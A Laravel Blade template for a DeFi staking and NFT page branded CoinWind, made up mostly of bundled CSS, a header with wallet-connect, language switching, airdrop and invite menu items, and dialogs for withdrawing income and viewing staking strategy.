coinwind/resources/views/nft.blade.php

1989 lines
72 KiB
PHP
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<html lang="en" class="en">
<head>
<meta charset="utf-8" />
<link rel="icon" href="/favicon.ico" />
<meta name="viewport" content="width=device-width,maximum-scale=3,minimum-scale=1,initial-scale=1,user-scalable=no" />
<meta name="theme-color" content="#000000" />
<meta name="description" content="CoinWind-DeFi生态单币挖矿收益最优平台" />
<link rel="apple-touch-icon" href="/logo192.png" />
<link rel="manifest" href="/manifest.json" />
<link rel="stylesheet" href="/custom.css" />
<title>CoinWind</title>
<script>try{new URLSearchParams(window.location.search).get("target")}catch(a){}</script>
<link href="/static/css/2.fe62fa80.chunk.css" rel="stylesheet" />
<link href="/static/css/main.80c6e4a5.chunk.css" rel="stylesheet" />
<style data-jss="" data-meta="MuiSvgIcon">
.MuiSvgIcon-root {
fill: currentColor;
width: 1em;
height: 1em;
display: inline-block;
font-size: 1.5rem;
transition: fill 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
flex-shrink: 0;
user-select: none;
}
.MuiSvgIcon-colorPrimary {
color: #3f51b5;
}
.MuiSvgIcon-colorSecondary {
color: #f50057;
}
.MuiSvgIcon-colorAction {
color: rgba(0, 0, 0, 0.54);
}
.MuiSvgIcon-colorError {
color: #f44336;
}
.MuiSvgIcon-colorDisabled {
color: rgba(0, 0, 0, 0.26);
}
.MuiSvgIcon-fontSizeInherit {
font-size: inherit;
}
.MuiSvgIcon-fontSizeSmall {
font-size: 1.25rem;
}
.MuiSvgIcon-fontSizeLarge {
font-size: 2.1875rem;
}
</style>
<style data-jss="" data-meta="PrivateHiddenCss">
@media (min-width:0px) and (max-width:599.95px) {
.jss29 {
display: none;
}
}
@media (min-width:0px) {
.jss30 {
display: none;
}
}
@media (max-width:599.95px) {
.jss31 {
display: none;
}
}
@media (min-width:600px) and (max-width:959.95px) {
.jss32 {
display: none;
}
}
@media (min-width:600px) {
.jss33 {
display: none;
}
}
@media (max-width:959.95px) {
.jss34 {
display: none;
}
}
@media (min-width:960px) and (max-width:1279.95px) {
.jss35 {
display: none;
}
}
@media (min-width:960px) {
.jss36 {
display: none;
}
}
@media (max-width:1279.95px) {
.jss37 {
display: none;
}
}
@media (min-width:1280px) and (max-width:1919.95px) {
.jss38 {
display: none;
}
}
@media (min-width:1280px) {
.jss39 {
display: none;
}
}
@media (max-width:1919.95px) {
.jss40 {
display: none;
}
}
@media (min-width:1920px) {
.jss41 {
display: none;
}
}
@media (min-width:1920px) {
.jss42 {
display: none;
}
}
@media (min-width:0px) {
.jss43 {
display: none;
}
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss1 {
width: 100%;
height: 80px;
position: relative;
background: rgba(255,255,255,0.60);
border-top: 1px solid #FFFFFF;
box-shadow: 0 4px 16px 0 #F6F6F6;
border-bottom: 1px solid #FFFFFF;
}
@media (max-width:959.95px) {
.jss1 {
height: 48px;
}
}
.jss2 {
height: 80px;
margin: 0 auto;
display: flex;
padding: 0 10px;
max-width: 1200px;
box-sizing: border-box;
align-items: center;
justify-content: space-between;
}
@media (max-width:959.95px) {
.jss2 {
width: 100%;
height: 48px;
padding: 0 16px;
}
}
.jss3 {
top: 18px;
left: 38px;
width: 165px;
height: 44px;
display: block;
position: absolute;
background: url(/static/media/logo.c3d2c062.svg) no-repeat center center;
background-size: contain;
}
.jss4 {
top: 18px;
left: 38px;
width: 165px;
height: 44px;
display: block;
position: absolute;
}
.jss4 img {
width: 100%;
height: 100%;
}
@media (max-width:959.95px) {
.jss4 {
width: 120px;
height: 32px;
position: unset;
}
.jss4 img {
width: 100%;
height: 100%;
}
}
.jss5 {
color: #8391A8;
height: 100%;
font-size: 14px;
font-weight: 500;
line-height: 80px;
}
@media (max-width:959.95px) {
.jss5 {
height: 32px;
line-height: unset;
}
}
.jss6 {
color: #8391A8;
display: flex;
font-size: 14px;
font-weight: 500;
}
.jss6 p {
overflow: hidden;
max-width: 400px;
white-space: nowrap;
text-overflow: ellipsis;
}
.jss6 img {
margin-right: 5px;
}
.jss7 {
color: #FFA34F;
cursor: pointer;
font-size: 12px;
font-weight: 400;
margin-left: 8px;
text-decoration: underline;
}
.jss8 {
display: flex;
align-items: center;
}
.jss9 {
color: #555;
width: 100%;
border: 0;
display: flex;
padding: 0.625rem 0;
position: relative;
flex-flow: row nowrap;
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
transition: all 150ms ease 0s;
align-items: center;
border-radius: 3px;
margin-bottom: 20px;
justify-content: flex-start;
background-color: #FFF;
}
.jss10 {
top: auto;
position: absolute;
}
.jss11 {
position: fixed;
}
.jss12 {
width: 100%;
display: flex;
flex-wrap: nowrap;
min-height: 50px;
align-items: center;
margin-left: auto;
margin-right: auto;
padding-left: 15px;
padding-right: 15px;
justify-content: space-between;
}
@media (min-width: 576px) {
.jss12 {
max-width: 540px;
}
}
@media (min-width: 768px) {
.jss12 {
max-width: 720px;
}
}
@media (min-width: 992px) {
.jss12 {
max-width: 960px;
}
}
@media (min-width: 1230px) {
.jss12 {
max-width: 1230px;
}
}
.jss13 {
letter-spacing: unset;
}
.jss13, .jss13 a {
color: inherit;
font-size: 24px;
min-width: unset;
font-family: "Roboto", "Helvetica", "Arial", sans-serif, DINPro-Bold;
font-weight: 700;
line-height: 30px;
white-space: nowrap;
border-radius: 3px;
text-transform: none;
}
.jss13 a {
margin-left: 8px;
}
.jss13:hover, .jss13:focus, .jss13 a:hover, .jss13 a:focus {
color: inherit;
background: transparent;
}
.jss14 {
margin: 20px 10px;
margin-top: 0px;
}
.jss15 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(255, 163, 79, 0.46);
background-color: #FFA34F;
}
.jss16 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(0, 172, 193, 0.46);
background-color: #00acc1;
}
.jss17 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(76, 175, 80, 0.46);
background-color: #4caf50;
}
.jss18 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(255, 152, 0, 0.46);
background-color: #ff9800;
}
.jss19 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(244, 67, 54, 0.46);
background-color: #f44336;
}
.jss20 {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(233, 30, 99, 0.46);
background-color: #e91e63;
}
.jss21 {
color: #FFF;
box-shadow: none;
padding-top: 25px;
background-color: transparent !important;
}
.jss22 {
color: #FFF;
box-shadow: 0px 8px 12px 0px rgba(0, 0, 0, 0.06);
background-color: #323951;
}
.jss23 {
color: #555;
border: 0;
padding: 0.625rem 0;
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
margin-bottom: 20px;
background-color: #FFF !important;
}
.jss24 {
top: 0;
left: auto;
right: 0;
width: 260px;
border: none;
bottom: 0;
height: 100vh;
display: block;
position: fixed;
border-top: none;
box-shadow: 0 10px 30px -12px rgba(0, 0, 0, 0.42), 0 4px 25px 0px rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(0, 0, 0, 0.2);
overflow-y: visible;
text-align: left;
transition: all 0.33s cubic-bezier(0.685, 0.0473, 0.346, 1);
visibility: visible;
padding-left: 0;
padding-right: 0px;
background-color: #323951;
transition-duration: .2s, .2s, .35s;
transition-property: top, bottom, width;
transition-timing-function: linear, linear, ease;
}
.jss25 {
width: 100%;
}
.jss26 {
flex-grow: 1;
align-items: center;
-ms-flex-align: center;
-webkit-box-flex: 1;
-ms-flex-positive: 1;
-webkit-box-align: center;
}
@media (min-width:960px) {
.jss26 {
display: flex !important;
flex-basis: auto;
-ms-flex-preferred-size: auto;
}
}
.jss27 {
top: 9px;
color: white;
right: 8px;
z-index: 1;
position: absolute;
}
.jss28 {
width: 60xh;
display: flex;
overflow: visible;
justify-content: space-between;
}
</style>
<style data-jss="" data-meta="MuiTouchRipple">
.MuiTouchRipple-root {
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 0;
overflow: hidden;
position: absolute;
border-radius: inherit;
pointer-events: none;
}
.MuiTouchRipple-ripple {
opacity: 0;
position: absolute;
}
.MuiTouchRipple-rippleVisible {
opacity: 0.3;
animation: MuiTouchRipple-keyframes-enter 550ms cubic-bezier(0.4, 0, 0.2, 1);
transform: scale(1);
}
.MuiTouchRipple-ripplePulsate {
animation-duration: 200ms;
}
.MuiTouchRipple-child {
width: 100%;
height: 100%;
display: block;
opacity: 1;
border-radius: 50%;
background-color: currentColor;
}
.MuiTouchRipple-childLeaving {
opacity: 0;
animation: MuiTouchRipple-keyframes-exit 550ms cubic-bezier(0.4, 0, 0.2, 1);
}
.MuiTouchRipple-childPulsate {
top: 0;
left: 0;
position: absolute;
animation: MuiTouchRipple-keyframes-pulsate 2500ms cubic-bezier(0.4, 0, 0.2, 1) 200ms infinite;
}
@-webkit-keyframes MuiTouchRipple-keyframes-enter {
0% {
opacity: 0.1;
transform: scale(0);
}
100% {
opacity: 0.3;
transform: scale(1);
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-exit {
0% {
opacity: 1;
}
100% {
opacity: 0;
}
}
@-webkit-keyframes MuiTouchRipple-keyframes-pulsate {
0% {
transform: scale(1);
}
50% {
transform: scale(0.92);
}
100% {
transform: scale(1);
}
}
</style>
<style data-jss="" data-meta="MuiButtonBase">
.MuiButtonBase-root {
color: inherit;
border: 0;
cursor: pointer;
margin: 0;
display: inline-flex;
outline: 0;
padding: 0;
position: relative;
align-items: center;
user-select: none;
border-radius: 0;
vertical-align: middle;
-moz-appearance: none;
justify-content: center;
text-decoration: none;
background-color: transparent;
-webkit-appearance: none;
-webkit-tap-highlight-color: transparent;
}
.MuiButtonBase-root::-moz-focus-inner {
border-style: none;
}
.MuiButtonBase-root.Mui-disabled {
cursor: default;
pointer-events: none;
}
@media print {
.MuiButtonBase-root {
-webkit-print-color-adjust: exact;
}
}
</style>
<style data-jss="" data-meta="MuiIconButton">
.MuiIconButton-root {
flex: 0 0 auto;
color: rgba(0, 0, 0, 0.54);
padding: 12px;
overflow: visible;
font-size: 1.5rem;
text-align: center;
transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
border-radius: 50%;
}
.MuiIconButton-root:hover {
background-color: rgba(0, 0, 0, 0.04);
}
.MuiIconButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
background-color: transparent;
}
@media (hover: none) {
.MuiIconButton-root:hover {
background-color: transparent;
}
}
.MuiIconButton-edgeStart {
margin-left: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeStart {
margin-left: -3px;
}
.MuiIconButton-edgeEnd {
margin-right: -12px;
}
.MuiIconButton-sizeSmall.MuiIconButton-edgeEnd {
margin-right: -3px;
}
.MuiIconButton-colorInherit {
color: inherit;
}
.MuiIconButton-colorPrimary {
color: #3f51b5;
}
.MuiIconButton-colorPrimary:hover {
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorPrimary:hover {
background-color: transparent;
}
}
.MuiIconButton-colorSecondary {
color: #f50057;
}
.MuiIconButton-colorSecondary:hover {
background-color: rgba(245, 0, 87, 0.04);
}
@media (hover: none) {
.MuiIconButton-colorSecondary:hover {
background-color: transparent;
}
}
.MuiIconButton-sizeSmall {
padding: 3px;
font-size: 1.125rem;
}
.MuiIconButton-label {
width: 100%;
display: flex;
align-items: inherit;
justify-content: inherit;
}
</style>
<style data-jss="" data-meta="MuiButton">
.MuiButton-root {
color: rgba(0, 0, 0, 0.87);
padding: 6px 16px;
font-size: 0.875rem;
min-width: 64px;
box-sizing: border-box;
transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
font-family: "Roboto", "Helvetica", "Arial", sans-serif;
font-weight: 500;
line-height: 1.75;
border-radius: 4px;
letter-spacing: 0.02857em;
text-transform: uppercase;
}
.MuiButton-root:hover {
text-decoration: none;
background-color: rgba(0, 0, 0, 0.04);
}
.MuiButton-root.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-root:hover {
background-color: transparent;
}
}
.MuiButton-root:hover.Mui-disabled {
background-color: transparent;
}
.MuiButton-label {
width: 100%;
display: inherit;
align-items: inherit;
justify-content: inherit;
}
.MuiButton-text {
padding: 6px 8px;
}
.MuiButton-textPrimary {
color: #3f51b5;
}
.MuiButton-textPrimary:hover {
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiButton-textPrimary:hover {
background-color: transparent;
}
}
.MuiButton-textSecondary {
color: #f50057;
}
.MuiButton-textSecondary:hover {
background-color: rgba(245, 0, 87, 0.04);
}
@media (hover: none) {
.MuiButton-textSecondary:hover {
background-color: transparent;
}
}
.MuiButton-outlined {
border: 1px solid rgba(0, 0, 0, 0.23);
padding: 5px 15px;
}
.MuiButton-outlined.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.12);
}
.MuiButton-outlinedPrimary {
color: #3f51b5;
border: 1px solid rgba(63, 81, 181, 0.5);
}
.MuiButton-outlinedPrimary:hover {
border: 1px solid #3f51b5;
background-color: rgba(63, 81, 181, 0.04);
}
@media (hover: none) {
.MuiButton-outlinedPrimary:hover {
background-color: transparent;
}
}
.MuiButton-outlinedSecondary {
color: #f50057;
border: 1px solid rgba(245, 0, 87, 0.5);
}
.MuiButton-outlinedSecondary:hover {
border: 1px solid #f50057;
background-color: rgba(245, 0, 87, 0.04);
}
.MuiButton-outlinedSecondary.Mui-disabled {
border: 1px solid rgba(0, 0, 0, 0.26);
}
@media (hover: none) {
.MuiButton-outlinedSecondary:hover {
background-color: transparent;
}
}
.MuiButton-contained {
color: rgba(0, 0, 0, 0.87);
box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12);
background-color: #e0e0e0;
}
.MuiButton-contained:hover {
box-shadow: 0px 2px 4px -1px rgba(0,0,0,0.2),0px 4px 5px 0px rgba(0,0,0,0.14),0px 1px 10px 0px rgba(0,0,0,0.12);
background-color: #d5d5d5;
}
.MuiButton-contained.Mui-focusVisible {
box-shadow: 0px 3px 5px -1px rgba(0,0,0,0.2),0px 6px 10px 0px rgba(0,0,0,0.14),0px 1px 18px 0px rgba(0,0,0,0.12);
}
.MuiButton-contained:active {
box-shadow: 0px 5px 5px -3px rgba(0,0,0,0.2),0px 8px 10px 1px rgba(0,0,0,0.14),0px 3px 14px 2px rgba(0,0,0,0.12);
}
.MuiButton-contained.Mui-disabled {
color: rgba(0, 0, 0, 0.26);
box-shadow: none;
background-color: rgba(0, 0, 0, 0.12);
}
@media (hover: none) {
.MuiButton-contained:hover {
box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2),0px 2px 2px 0px rgba(0,0,0,0.14),0px 1px 5px 0px rgba(0,0,0,0.12);
background-color: #e0e0e0;
}
}
.MuiButton-contained:hover.Mui-disabled {
background-color: rgba(0, 0, 0, 0.12);
}
.MuiButton-containedPrimary {
color: #fff;
background-color: #3f51b5;
}
.MuiButton-containedPrimary:hover {
background-color: #303f9f;
}
@media (hover: none) {
.MuiButton-containedPrimary:hover {
background-color: #3f51b5;
}
}
.MuiButton-containedSecondary {
color: #fff;
background-color: #f50057;
}
.MuiButton-containedSecondary:hover {
background-color: #c51162;
}
@media (hover: none) {
.MuiButton-containedSecondary:hover {
background-color: #f50057;
}
}
.MuiButton-disableElevation {
box-shadow: none;
}
.MuiButton-disableElevation:hover {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-focusVisible {
box-shadow: none;
}
.MuiButton-disableElevation:active {
box-shadow: none;
}
.MuiButton-disableElevation.Mui-disabled {
box-shadow: none;
}
.MuiButton-colorInherit {
color: inherit;
border-color: currentColor;
}
.MuiButton-textSizeSmall {
padding: 4px 5px;
font-size: 0.8125rem;
}
.MuiButton-textSizeLarge {
padding: 8px 11px;
font-size: 0.9375rem;
}
.MuiButton-outlinedSizeSmall {
padding: 3px 9px;
font-size: 0.8125rem;
}
.MuiButton-outlinedSizeLarge {
padding: 7px 21px;
font-size: 0.9375rem;
}
.MuiButton-containedSizeSmall {
padding: 4px 10px;
font-size: 0.8125rem;
}
.MuiButton-containedSizeLarge {
padding: 8px 22px;
font-size: 0.9375rem;
}
.MuiButton-fullWidth {
width: 100%;
}
.MuiButton-startIcon {
display: inherit;
margin-left: -4px;
margin-right: 8px;
}
.MuiButton-startIcon.MuiButton-iconSizeSmall {
margin-left: -2px;
}
.MuiButton-endIcon {
display: inherit;
margin-left: 8px;
margin-right: -4px;
}
.MuiButton-endIcon.MuiButton-iconSizeSmall {
margin-right: -2px;
}
.MuiButton-iconSizeSmall > *:first-child {
font-size: 18px;
}
.MuiButton-iconSizeMedium > *:first-child {
font-size: 20px;
}
.MuiButton-iconSizeLarge > *:first-child {
font-size: 22px;
}
</style>
<style data-jss="" data-meta="makeStyles">
</style>
<style data-jss="" data-meta="makeStyles">
.jss47 {
display: none !important;
pointer-events: none;
}
.jss48 {
top: 10px!important;
}
@media (max-width:959.95px) {
.jss48 {
top: unset !important;
left: unset !important;
position: static !important;
transform: none !important;
will-change: none !important;
}
.jss48 > div {
padding: 0px !important;
box-shadow: none !important;
margin-top: 0px !important;
transition: none !important;
margin-left: 1.5rem;
margin-right: 1.5rem;
margin-bottom: 5px !important;
}
}
.jss49 {
display: block;
}
.jss49 > div > button, .jss49 > div > a {
color: inherit !important;
margin: 0px !important;
padding: 10px 20px !important;
}
.jss49 > div > button > span:first-child, .jss49 > div > a > span:first-child {
width: 100%;
justify-content: flex-start;
}
.jss50 > button:first-child > span:first-child, .jss50 > a:first-child > span:first-child {
display: inline-block;
}
.jss50 .jss67 {
margin-left: 0px;
}
.jss51 {
overflow: hidden;
box-shadow: 0 4px 12px 0 #EDEFF2;
border-radius: 16px;
}
.jss52 {
background-color: #323951;
}
.jss53 {
color: #fff !important;
}
.jss54 {
padding: 0;
}
.jss55 {
z-index: 1200;
}
@media (max-width:959.95px) {
.jss55 {
color: black;
float: none;
width: auto;
border: 0;
z-index: 1640;
position: static;
box-shadow: none;
margin-top: 0;
background-color: transparent;
}
}
.jss56 {
color: #131D32;
width: 198px;
height: 60px;
font-size: 16px;
background: transparent;
transition: all 150ms linear;
font-family: DINPro-Bold;
font-weight: 700;
line-height: 60px;
border-bottom: 1px solid #EDEFF2;
letter-spacing: 0;
justify-content: center;
}
.jss56:last-of-type {
border-bottom: none;
}
.jss57:hover {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(33, 33, 33, 0.4);
background-color: #272E42;
}
.jss58:hover {
color: #FFA34F;
background-color: rgba(255,163,79,.06);
}
.jss59:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(0, 172, 193, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(0, 172, 193, 0.2);
background-color: #00acc1;
}
.jss60:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(76, 175, 80, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(76, 175, 80, 0.2);
background-color: #4caf50;
}
.jss61:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(255, 152, 0, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(255, 152, 0, 0.2);
background-color: #ff9800;
}
.jss62:hover {
color: #FFF;
box-shadow: 0 12px 20px -10px rgba(244, 67, 54, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(244, 67, 54, 0.2);
background-color: #f44336;
}
.jss63:hover {
color: #FFF;
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(233, 30, 99, 0.4);
background-color: #e91e63;
}
.jss64 {
text-align: right;
}
.jss65 {
height: 1px;
margin: 5px 0;
overflow: hidden;
background-color: rgba(0, 0, 0, 0.12);
}
.jss66 {
color: white;
width: 20px;
height: 20px;
}
.jss67 {
color: #FFA34F;
width: 0;
height: 0;
display: inline-block;
border-top: 4px solid;
transition: all 150ms ease-in;
border-left: 4px solid transparent;
margin-left: 4px;
border-right: 4px solid transparent;
vertical-align: middle;
}
.jss68 {
color: #FFF;
transform: rotate(180deg);
}
.jss69 {
color: #FFF;
transform: rotate(180deg);
}
.jss70 {
margin-right: 4px;
}
.jss71 {
color: #777;
display: block;
padding: 0.1875rem 1.25rem;
font-size: 0.75rem;
margin-top: 10px;
min-height: 24px;
font-weight: inherit;
line-height: 1.428571;
white-space: nowrap;
}
.jss71:hover, .jss71:focus {
cursor: auto;
background-color: transparent;
}
.jss72 {
padding: 0;
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss45 {
color: #FFA34F;
border: 1px solid #FFA34F;
cursor: pointer;
height: 36px;
padding: 0 40px;
font-size: 14px;
background: #FFFFFF;
border-radius: 22px;
}
.jss45:hover, .jss45:focus {
color: #FFF;
background-color: #FFA34F;
}
.jss45:hover b, .jss45:focus b {
color: #FFF;
}
.jss45 .MuiButton-label {
font-size: 14px;
font-family: DINPro-Bold;
}
@media (max-width:959.95px) {
.jss45 {
color: #FFA34F;
border: 1px solid #FFFFFF;
height: 32px;
padding: 0 22px;
font-size: 10px;
background: rgba(255,255,255,0.60);
box-shadow: 0 4px 16px 0 #F6F6F6;
border-radius: 16px;
}
}
</style>
<style data-jss="" data-meta="makeStyles">
.jss75 {
width: 240px;
height: 100%;
background-color: #FFF;
}
.jss76 {
padding-top: 40px;
}
.jss77 {
width: 100%;
}
.jss78 {
width: 100%;
cursor: pointer;
height: 64px;
display: flex;
position: relative;
font-size: 14px;
box-sizing: border-box;
transition: all .5s;
align-items: center;
font-weight: 700;
padding-left: 33px;
background-color: #FFF;
}
.jss78:hover {
background-color: rgba(255,163,79,.06);
}
.jss78:hover a, .jss78:hover span {
color: #FFA34F;
}
.jss78 a, .jss78 span {
font-size: 14px;
}
.jss79 {
color: #FFA34F !important;
display: flex;
position: relative;
align-items: center;
font-weight: bold !important;
background-color: rgba(255,163,79,.06);
}
.jss79 span {
right: 0;
width: 4px;
height: 22px;
position: absolute;
background: #FFA34F;
border-radius: 2px;
}
.jss80 {
width: 20px;
height: 20px;
display: block;
margin-right: 8px;
}
.jss81 strong {
color: #fff;
right: 50px;
height: 20px;
padding: 0 10px;
position: absolute;
font-size: 12px;
background: linear-gradient(90deg, #FFA34F 0%, rgba(255,163,79,.6) 100%);
font-family: PingFangSC-Medium;;
font-weight: 400;
line-height: 20px;
border-radius: 9px 9px 9px 0;
}
.jss82 {
overflow: hidden;
max-height: 0;
transition: all linear .3s;
}
.jss83 {
color: #131D32;
cursor: pointer;
height: 48px;
overflow: hidden;
font-size: 14px;
box-sizing: border-box;
font-weight: 400;
line-height: 48px;
white-space: nowrap;
padding-left: 60px;
text-overflow: ellipsis;
}
.jss83:hover {
color: #FFA34F;
background-color: rgba(255,163,79,.06);
}
.jss84:hover span {
color: #FFA34F;
}
</style>
<style data-styled="active" data-styled-version="5.2.0"></style>
</head>
<body>
<section id="root">
@include('public/wallet')
<header>
<div class="jss1">
<div class="header__wrapper-box">
<div class="jss36">
<div class="jss2">
<div class="jss5">
<a href="/" class="jss4"><img src="upload/{{$config['other']['logo_url']}}" alt="" /></a>
</div>
<div class="jss8">
<div class="jss34">
<div class="header__button-container" style="display: flex;">
<div class="jss44">
<div>
<div class="">
<button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" aria-label="Notifications" aria-haspopup="true"><span class="MuiButton-label">HECO<b class="jss67"></b></span><span class="MuiTouchRipple-root"></span></button>
</div>
</div>
</div>
<button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" style="margin-left: 32px;"><span class="MuiButton-label" ></span><span class="MuiTouchRipple-root"></span></button>
</div>
</div>
<div class="jss36">
<button onclick="walletShow()" class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button"><span class="MuiButton-label" id="network1"></span><span class="MuiTouchRipple-root"></span></button>
{{-- onclick="tabShow()"--}}
<button class="MuiButtonBase-root MuiIconButton-root MuiIconButton-colorInherit" tabindex="0" type="button" aria-label="open drawer"><span class="MuiIconButton-label">
<svg class="MuiSvgIcon-root" focusable="false" viewbox="0 0 24 24" aria-hidden="true">
<path d="M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z"></path>
</svg></span><span class="MuiTouchRipple-root"></span></button>
<div class="slider__mask " id="slider__mask" onclick="tabHide()">
<div class="slider__content " id="slider__content">
<div id="langs" class="nav__language-container">
<i class="language__icon"></i>
<div class="dropdown__button nav__language">
<span>English</span>
</div>
<div class="dropdown__option option__bottom" id="lang">
<div class="option__item option__item-heco" id="lang1">
中文
</div>
<div class="option__item option__item-heco" id="lang2">
English
</div>
</div>
<strong style="color: rgb(131, 145, 168); width: 0px; height: 0px; display: inline-block; border-top: 4px solid; transition: all 150ms ease-in 0s; border-left: 4px solid transparent; margin-left: 4px; border-right: 4px solid transparent; vertical-align: middle; position: absolute; right: 32px; top: 30px;"></strong>
</div>
<div class="nav__language-container" onclick="airdrop_open()">
<img src="/static/media/liwu.c773fe7d.svg" alt="" />
<span style="margin-left: 10px;">
{{trans('web.Claim Your Airdrop')}}
</span>
</div>
<div class="nav__language-container" onclick="javascript:location.href = '/invite'">
<img src="/static/media/123a.png" alt="" style="width: 26px;height: 26px" />
<span style="margin-left: 10px;">
{{trans('web.Invite rebate')}}
</span>
</div>
<div class="tutoril__container">
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/announcement" target="_blank"><span>{{trans('web.Announcement')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/faq" target="_blank"><span>{{trans('web.FAQ')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/guide" target="_blank"><span>{{trans('web.Tutorial')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
{{-- <a class="tutoril__item" href="https://docs.coinwind.com/v/english/contactus" target="_blank"><span>{{trans('web.Contact US')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>--}}
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.1.4.min.js"></script>
<script>
function tabShow() {
$('#slider__mask').attr('class', 'slider__mask slide__show')
$('#slider__content').attr('class', 'slider__content slide__content-show')
}
function tabHide() {
$('#slider__mask').attr('class', 'slider__mask')
$('#slider__content').attr('class', 'slider__content')
$('#lang').attr('class', 'dropdown__option option__bottom');
}
function walletHide() {
$('#home__dialog').attr('style','display: none')
}
function walletShow() {
$('#home__dialog').attr('style','')
}
window.onload = function() {
// 切换语言
$('#langs').on('click', function (e) {
$('#lang').attr('class', 'dropdown__option option__show option__bottom');
e.stopPropagation();
});
// 中文
$('#lang1').on('click', function (e) {
$.post(
"{{url('lang')}}",
{
lang: 'zh-CN'
},
function(d){
if(d){
console.log(d);
location.reload(); //重新刷新页面
}
}
);
tabHide();
e.stopPropagation();
});
// 英文
$('#lang2').on('click', function (e) {
$.post(
"{{url('lang')}}",
{
lang: 'en'
},
function(d){
if(d){
console.log(d);
location.reload(); //重新刷新页面
}
}
);
tabHide();
e.stopPropagation();
});
}
</script>
</header>
<main>
<div class="pools__dialog" id="lingqu" style="display: none">
<div class="staking_dialog_all-extract">
<div class="staking__dialog__headers" style="margin-bottom: 30px;">
{{trans('web.Income')}}
<span class="staking__dialog__header__closes" onclick="lingqu_close()"></span>
</div>
<div class="staking_all-extract-content">
<div>
<div class="extract-title">
{{trans('web.Currently Withdrawable')}}
</div>
<div class="extract-content_tops">
<div class="extract-content_lis">
<div id="usdt_1">
0.0000
</div>
<div>
USDT
</div>
</div>
<div class="extract-content_lis">
<div id="usdt_2">
0.0000
</div>
<div>
USDC
</div>
</div>
</div>
</div>
</div>
<div class="extract_btn">
<button class="g-button pools__dialog__option g-button-bsc-theme " onclick="pull()" id="pull">{{trans('web.All extraction')}}</button>
</div>
</div>
</div>
<div class="pools__dialog" style="display: none" id="yuming">
<div class="staking_dialog-strategy">
<div class="staking__dialog__header staking_color">
{{trans('web.Strategy')}}
<span class="staking__dialog__header__close staking_close" onclick="yuming_close()"></span>
</div>
<div class="staking_strategy_name">
<div class="staking__dialog__name-li">
<img class="pools__coin-logo" alt="DOT" src="" id="s_img" />
<div class="staking__name_title staking__name_title-1" id="s_name"></div>
</div>
<div class="staking_strategy_name-li">
<div id="use1"></div>
<div>
{{trans('web.Staked')}}
</div>
</div>
</div>
<div class="staking_ce_tip">
{{trans("web.Note: The pledged amount of the node includes the pledged amount of CoinWind's entire network staking.")}}
</div>
<div class="staking_strategy_content">
<div class="staking_strategy_content-lis">
<div>
<div class="strategy_li-one">
